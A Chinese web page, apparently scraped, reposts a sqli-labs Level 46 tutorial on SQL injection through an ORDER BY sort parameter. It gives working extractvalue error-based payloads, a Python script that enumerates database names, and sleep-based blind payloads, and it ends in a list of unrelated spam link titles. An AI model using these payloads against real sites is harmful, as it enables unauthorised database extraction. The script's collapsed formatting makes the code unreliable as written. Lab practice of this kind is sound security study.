当前位置: 首页 > news >正文

长春网站建设phpjz公共交通公司网站建设方案

长春网站建设phpjz,公共交通公司网站建设方案,大理北京网站建设,公司建设内容是什么实验描述 本实验基于sqli-lab的第46关进行测试 本关的sql 语句为$sql "SELECT * FROM users ORDER BY $id" 利用sort进行sql注入,我们可以利用报错注入,延时注入来爆出数据 1.报错注入 1.手工测试 爆出数据库 ?sort(extractvalue(1, c…

实验描述

本实验基于sqli-lab的第46关进行测试

本关的sql 语句为$sql = "SELECT * FROM users ORDER BY $id"

利用sort进行sql注入,我们可以利用报错注入,延时注入来爆出数据

1.报错注入

1.手工测试

爆出数据库

?sort=(extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 1,1))))

爆出数据库中的表

?sort=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))

 爆出表中的列

?sort=(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1))))

爆出列值

?sort=(extractvalue(1,concat(0x7e,(select username from users where id=1))))

2.代码实现

import requests
import re# 目标URL (根据实际环境修改)
target_url = "http://172.25.254.145/sqli-labs-php7-master/Less-46/"def extract_database_name():database_names = []index = 0while True:# 构造注入Payloadpayload = {"sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"}try:# 发送GET请求response = requests.get(target_url, params=payload, timeout=10)response.raise_for_status()# 正则匹配错误信息中的数据库名error_pattern = r"XPATH syntax error: '~([^']+)"match = re.search(error_pattern, response.text)if match:db_name = match.group(1)database_names.append(db_name)print(f"成功提取数据库名: {db_name}")index += 1else:if index == 0:print("找到数据库名,可能漏洞不存在或错误信息被隐藏")else:print("已提取所有数据库名")breakexcept requests.exceptions.Timeout:print(f"[-] 请求超时,索引为 {index},继续尝试...")except requests.exceptions.HTTPError as http_err:print(f"[-] HTTP请求错误,索引为 {index}: {http_err}")except requests.exceptions.RequestException as e:print(f"[-] 请求失败,索引为 {index}: {e}")return database_namesif __name__ == "__main__":all_database_names = extract_database_name()

结果

 同理,修改sql注入语句,即可爆出所有的数据信息

2.布尔盲注

错误按照username执行排序,否则结果正确

正确结果如下

错误结果如下

判断当前数据库的名称 

?sort=if((substr(database(),1,1)='s'),(select 1 from (select sleep(2)) as b),username)

判断第一个数据库的名称

?sort=if((ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105),(select 1 from (select sleep(2)) as b),username)

爆出数据库表(emali表)

?sort=if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),(select 1 from (select sleep(2)) as b),username)

爆出列值(USER)

?sort=if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=101),(select 1 from (select sleep(2)) as b),username)

 根据上述sql语句可以获得数据库的信息

http://www.yayakq.cn/news/980766/

相关文章:

  • 湖州网站建设服务公司产品外观设计用什么软件
  • 免费网站制作成品h5页面制作软件电脑版
  • 网站建设有哪些岗位电商是什么一般是干嘛的
  • 广东工厂网站建设wordpress建站站长之家
  • 石家庄网站建设兼职网站制作q
  • 好利蛋糕店官方网站网站域名商代理商
  • wordpress改论坛鞍山seo公司
  • 深圳优化网站排名十大销售管理软件排行榜
  • 天津网站建设方案策划南宁网站建设设计
  • 企业网站优化与推广php网站建立教程
  • 重庆做网站的公司有哪些晋江网站设计泉州名扬专业
  • 网站推广策略的主要方式北京模板建站哪家好
  • 08 iis创建网站wordpress start
  • 网站备案拍照点网站设计毕业设计任务书
  • 汕头网站优化哪家好安徽省建设工程质量协会网站
  • 房产中介网站开发模板微商城开发lk华网天下价格合适
  • 小程序网站百度营销搜索推广
  • 深圳为华网络科技有限公司上海专业的seo公司
  • 郑州app网站公司建设网站的公司哪家好
  • 银川网站怎么做seo网站建设属于税收
  • 哪个网站可以找题目给小孩做邯郸网站建设哪家专业
  • 网站建设策划案怎么写上海专门做培训的网站
  • 公司网站的定义wordpress代码实现网站地图
  • 怎么在网站上做图片轮播网络营销战略的内涵
  • 课程网站建设的目标校园网站开发需求
  • 网站建设维护项目南京网站设计制作
  • 响应式网站设计规范莱芜都市网房产频道
  • 定制网站建设与运营案例做类似昵图网网站
  • wordpress 临时域名seo优化关键词0
  • 宁夏住宅建设发展公司网站平江外贸推广软件